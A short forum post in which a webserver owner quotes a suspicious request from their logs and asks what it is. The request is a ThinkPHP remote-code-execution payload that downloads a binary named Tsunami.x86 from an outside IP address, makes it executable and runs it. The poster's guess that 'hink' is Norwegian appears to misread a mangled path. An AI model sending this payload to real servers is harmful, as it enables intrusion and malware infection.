My webserver keeps being hit by strange urls. This is one that I’m puzzling over. Can someone tell me what the tool is that its trying to invoke.
“GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://185.255.25.168/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1”
I also have others for thinkphp, Oasis.x86 and UnHAnaAW.x86.
I believe hink means hop in Norwegian – don’t know if that’s relevant.
Thanks.